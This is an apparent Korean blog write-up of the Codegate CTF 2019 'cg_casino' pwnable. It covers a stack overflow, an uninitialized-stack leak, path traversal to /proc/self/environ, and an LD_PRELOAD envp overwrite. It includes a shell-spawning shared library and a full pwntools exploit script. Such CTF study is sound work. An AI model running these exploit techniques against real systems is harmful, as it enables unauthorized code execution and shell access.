Codegate CTF 2019 Quals - cg_casino

2024년 8월 01일
4분 읽기
Tags:
ctf,
pwnable,
bof,
/proc/self/environ,
ld_preload,
small libc,
envp

0x00. Introduction

[*] '/home/user/cg_casino'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

➜  nc 0 6677
$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$  CG CASINO $$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
>

세 개의 카지노 게임과 put voucher와 merge voucher 기능이 구현되어있다.

0x01. Vulnerability

Stack Overflow

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  char new[48]; // [rsp+30h] [rbp-60h] BYREF
  char old[40]; // [rsp+60h] [rbp-30h] BYREF
  ...
    switch ( choice )
    {
      case 1:
        memset(new, 0, 0x28uLL);
        printf("input voucher : ");
        read_401108((__int64)new);
        len32_alnum_4010A4(new);
        break;
      case 2:
        memset(old, 0, sizeof(old));
        printf("input old voucher : ");
        read_401108((__int64)old);
        xstat_unlink_400F09(new, old);
        break;
    }
  ...
}

먼저 voucher를 put하거나 merge하기 위해 voucher 이름을 입력받는데, read_401108()에서 입력을 받게 된다.

unsigned __int64 __fastcall read_401108(__int64 a1)
{
  ...
  while ( 1 )
  {
    if ( (unsigned int)read(0, &buf, 1uLL) != 1 )
      exit(-1);
    if ( buf == 10 )
      break;
    index = i++;
    *(_BYTE *)(a1 + index) = buf;
  }
  v1 = i++;
  *(_BYTE *)(v1 + a1) = 0;
  ...
}

그런데 입력을 \n이 나올 때까지 1바이트씩 끝없이 받기 때문에 stack의 끝까지 overflow가 발생한다.

하지만 main()에서 return을 하는 부분 없이 바로 exit()을 하기 때문에 RIP control은 어려워 보인다.

Stack Leak

동적 분석을 하다가 우연히 얻어걸렸는데, lotto_4011A7()에서 초기화되지 않은 데이터의 leak이 가능하다.

unsigned __int64 lotto_4011A7()
{
  ...
  int number[6]; // [rsp+10h] [rbp-40h]
  int guess[6]; // [rsp+30h] [rbp-20h] BYREF
  ...
  while ( i <= 5 )
  {
    __isoc99_scanf("%u", &guess[i]);
    getchar();
    if ( (unsigned int)guess[i] <= 44 )
      ++i;
    else
      printf("%u : out of range\n", (unsigned int)guess[i]);
  }
  puts("===================");
  ...
}

원래는 단순히 0~44 범위의 랜덤 숫자 6개를 생성해서 저장한 후, guess 배열에 값을 입력해서 맞추는 게임이다.

그런데 guess 값으로 %u 형식에 맞지 않는, 가령 a가 입력되면 scanf가 실패하고 기존에 저장되어있던 guess의 값을 출력해준다.

GUESS 6 Numbers!
===================
|  |  |  |  |  |  |
===================
a a a a a a
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range

File Copy

사실 취약점이라기보다는 바이너리에 주어진 기능인데, merge voucher에서 다음 함수가 호출된다.

unsigned __int64 __fastcall xstat_unlink_400F09(const char *new, char *old)
{
  ...
  if ( strlen(old) == 32 )
  {
    if ( xstat_4016D0(old, &n_4) == -1 )
    {
      puts("voucher doesn't exist");
    }
    else if ( n_4.st_size <= 4096 )
    {
      fd_old = open(old, 0);
      if ( fd_old != -1 )
      {
        len = read(fd_old, buf, 4096uLL);
        close(fd_old);
        fd_new = open(new, 66, 384LL);
        if ( fd_new != -1 )
        {
          write(fd_new, buf, len);
          close(fd_new);
          unlink(old);
        }
        memset(buf, 0, 0x1000uLL);
      }
    }
    ...
  }
}

put voucher를 통해서 stack의 new에 파일명을 지정해두면, 파일명이 32바이트인 파일을 /home/cg_casino/voucher/ 디렉토리로 옮길 수 있다. 입력한 내용에 대한 검증이 따로 없으므로 길이 제한은 ../, ./를 잘 조합해서 우회할 수 있다.

../../../../../../././etc/passwd

0x02. Exploit

File Drop

취약점은 이게 끝인데, 문제는 파일을 서버에 올릴 방법이 없다. 어떻게든 파일을 서버에 올린 다음 merge voucher 기능을 이용해서 파일을 /home/cg_casino/voucher/ 경로로 옮긴 후 다음 단계로 넘어가야할 것 같은데…

그러다가 /proc/self/environ 파일에서 다음 내용을 발견했다.

cg_casino@3197b44a521a:~/voucher$ cat /proc/1203/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...

AAAA는 docker-compose.yml 파일에서 정의된 환경변수 값들인데, 앞부분은 다른 내용으로 바뀐 것을 보니 실행 중 값을 반영하는 것 같았다.

실제로 stack의 끝에 있는 환경변수까지 값을 덮어보니 다음과 같이 /proc/self/environ 파일이 변경된 것을 확인할 수 있었다.

cg_casino@3197b44a521a:~/voucher$ cat /proc/1241/environ
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
...

따라서 이런 식으로 stack의 값을 조작해서 /proc/self/environ에 파일의 형태로 남길 수 있다.

Stack Overflow & File Copy

/proc/self/environ에 libc 데이터를 쓰고 그것을 /home/cg_casino/voucher로 가져오기 위한 조건은 총 3개이다.

main의 new가 /home/cg_casino/voucher에 저장할 파일명일 것
main의 old가 길이가 32이고 /proc/self/environ 파일을 가리킬 것
stack 끝의 환경변수가 저장된 공간에 libc 데이터가 쓰여질 것

따라서 다음과 같이 payload를 구성했다.

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)

    merge_voucher(s, b"../../../../../proc/self/environ")

한편 이 과정에서 read_401108()를 이용해서 입력을 받기 때문에 libc에 \x0a가 있으면 데이터가 짤릴 위험이 있다. 실제로도 \x0a가 있어서 혹시나 하는 마음에 \x0b로 바꿔봤는데 다행히 libc가 잘 작동했다.

    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

따라서 위 payload를 추가해주어야 한다.

Small Libc

여기에서 문제가 하나 더 있는데 환경변수 영역도 한도가 있기 때문에 merge voucher로 가져올 수 있는 데이터 길이가 제한되어있다.

root@3197b44a521a:/home/cg_casino/voucher# ls -al
total 16
drwxrwx-wx 1 root      root      4096 Aug  1 05:24 .
drwxr-xr-x 1 root      root      4096 Jul 31 08:08 ..
-rw------- 1 cg_casino cg_casino 3432 Aug  1 05:23 mylib.so

그래서 3432보다 작은 libc가 필요한데, 다음 소스코드를 Ubunut 16.04에서 컴파일해서 사이즈가 작은 libc를 만들 수 있었다.

// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
__attribute__((destructor))
void on_unload() {
	system("/bin/sh");
}

Ubuntu 22.04에서는 같은 컴파일 옵션을 줘도 사이즈가 꽤 큰데, 컴파일러 버전에 따라서도 이렇게 차이가 심할 수 있다니 알아둬야겠다.

➜  ls -al | grep mylib_from
-rwxr-xr-x 1 user user    2632 Aug  1 08:28 mylib_from1604.so
-rwxr-xr-x 1 user user   10160 Aug  1 14:40 mylib_from2204.so

Stack Leak

앞서 확인한대로 lotto_4011A7()에서 %u 형식이 아닌 데이터를 입력하면 guess[i]의 데이터를 출력할 수 있다. guess는 6개의 integer 배열이므로 총 0x18 길이의 메모리를 확인할 수 있고 초기화되지 않은 상태에서의 guess 값을 확인해보면,

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007ffff7ffe168
0x7fffffffdf00: 0x0000000000000000

libc 영역의 주소가 남아있는데 필요한 주소값이 뭔지 생각해보면 stack의 주소에 가깝다. 따라서 다른 함수를 먼저 실행해서 $rsp+0x30 영역에 stack 주소를 남길 수 있는지 확인해보았는데, up_down_40139E()을 호출한 뒤 lotto_4011A7()를 호출하면 가능하다.

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007fffffffdf10
0x7fffffffdf00: 0x0000000000400bb0

guess는 integer이므로 3번째, 4번째 입력을 줄 때 ’a’를 입력하면 4바이트씩 leak이 가능하므로, 다음과 같이 payload를 작성했다.

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

Envp Overwrite

이제 쉘을 실행해주는 libc 파일을 /home/cg_casino/voucher에 안착시켰으니, 이걸 실행만 시키면 된다. 일반적으로 원하는 libc를 로드하는 테크닉으로 LD_PRELOAD 환경변수를 이용하는 방식이 있어서 어떻게 활용할지 고민했다.

현재 libc에 on_unload()를 정의해놓았으므로 두 가지를 확인해야하는데,

exit(0);을 통해서도 on_unload()가 호출되는지
환경변수를 실행 이후에 변경해도 LD_PRELOAD가 적용되는지

테스트 코드를 작성해서 1번은 가능한 것을 확인했는데 아쉽게도 2번이 적용되지 않았다. 따라서 현재 프로세스의 환경변수를 조작해놓고, 그 환경변수를 가져다가 쓰는 프로세스를 실행할 수 있어야 한다.

그러다가 slot_401477()에서 system("/usr/bin/clear");을 사용하는데, 동적 분석을 할 때 다음과 같은 메세지가 출력된 것이 기억났다.

        _______
       |JACKPOT|
=========================
|   ___    ___    ___    |
|  | ? |  | ? |  | ? |   |
|  |___|  |___|  |___|   |
=========================
|________________________|
press any key

TERM environment variable not set

현재 프로세스인 cg_casino는 환경변수가 docker-compose.yml 파일에서 ERASER를 통해 값이 밀려있는 상태이다. 여기에서 system()을 사용할 때 내부적으로 execve()가 호출되는데 이 과정에서 **envp가 전달되는 것 같다.

**envp는 main()이 호출될 때 3번째 인자로 전달되고, main()의 초반에서 다음과 같이 $rbp-0x88에 저장이 된다.

   0x400ca6:    push   rbp
   0x400ca7:    mov    rbp,rsp
   0x400caa:    sub    rsp,0x90
   0x400cb1:    mov    DWORD PTR [rbp-0x74],edi
   0x400cb4:    mov    QWORD PTR [rbp-0x80],rsi
   0x400cb8:    mov    QWORD PTR [rbp-0x88],rdx

이 상태에서 메모리를 따라가보면,

gef➤  x/gx $rbp-0x88
0x7fffffffdf28: 0x00007fffffffe0a8
gef➤  x/10gx 0x00007fffffffe0a8
0x7fffffffe0a8: 0x00007fffffffe276      0x00007fffffffe2b8
0x7fffffffe0b8: 0x00007fffffffe2ce      0x00007fffffffe564
0x7fffffffe0c8: 0x00007fffffffe7fa      0x00007fffffffea90
0x7fffffffe0d8: 0x00007fffffffed26      0x00007fffffffefbc
0x7fffffffe0e8: 0x00007fffffffefc7      0x0000000000000000
gef➤  x/s 0x00007fffffffe276
0x7fffffffe276: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

**envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)` 형식으로 구성되어있다.

따라서 이 구성을 잘 따르되, *envp의 끝에는 null을 꼭 넣어주어야 한다.

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

문제는 여기서 환경변수가 stack의 끝자락에 위치하게 되는데, 이 offset이 일정하지 않아서 확률 이슈가 발생한다. 차이를 계속 체크해보니 0xXX0 정도 차이가 나는 것으로 보아 1/256 확률로 exploit이 성공할 것 같다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = False
BINARY = "cg_casino"
CONTAINER = "d20ec1bc9a88"

bp = {
    "getchar_of_main" : 0x400CF8,
    "read_bof" : 0x401108,
    "xstat_unlink" : 0x400F09,
    "slotmachine" : 0x401477,
    "lotto" : 0x4011A7,
    "scanf_of_lotto" : 0x40129D,
}

gs = f'''
set follow-fork-mode child
!b *{bp["xstat_unlink"]}
b *{bp["getchar_of_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def put_voucher(s, new):
    s.sendline(b"1")
    s.recvuntil(b" : ")
    s.sendline(new)
    sleep(0.1)
    return s.recvuntil(b"> ")

def merge_voucher(s, old):
    s.sendline(b"2")
    s.recvuntil(b" : ")
    s.sendline(old)
    return s.recvuntil(b"> ")

def lotto(s, numbers):
    s.sendline(b"3")
    sleep(0.1)
    s.recv()
    s.sendline(numbers)
    return s.recvuntil(b"> ")

def updown(s, numbers):
    s.sendline(b"4")
    s.recvuntil(b". \n")
    for number in numbers:
        s.sendline(str(number).encode())
        s.recvuntil(b"it\n")
    return s.recvuntil(b"> ")

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(f"/home/user/{BINARY}")
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    
    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

    s.recvuntil(b"> ")

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

    env = buf + 0x1796
    env = buf + 0x326
    env_p = buf + 0x158
    env_p_p = buf + 0xe8
    log.info(f"env_p_p : {hex(env_p_p)}")
    log.info(f"env_p : {hex(env_p)}")
    log.info(f"env : {hex(env)}")

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)
    
    pause()

    merge_voucher(s, b"../../../../../proc/self/environ")

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

    s.interactive()

if __name__=='__main__':
    main()

Codegate CTF 2019 Quals - cg_casino

목차

0x00. Introduction

Concept

0x01. Vulnerability

Stack Overflow

Stack Leak

File Copy

0x02. Exploit

File Drop

Stack Overflow & File Copy

Small Libc

Stack Leak

Envp Overwrite

0x03. Payload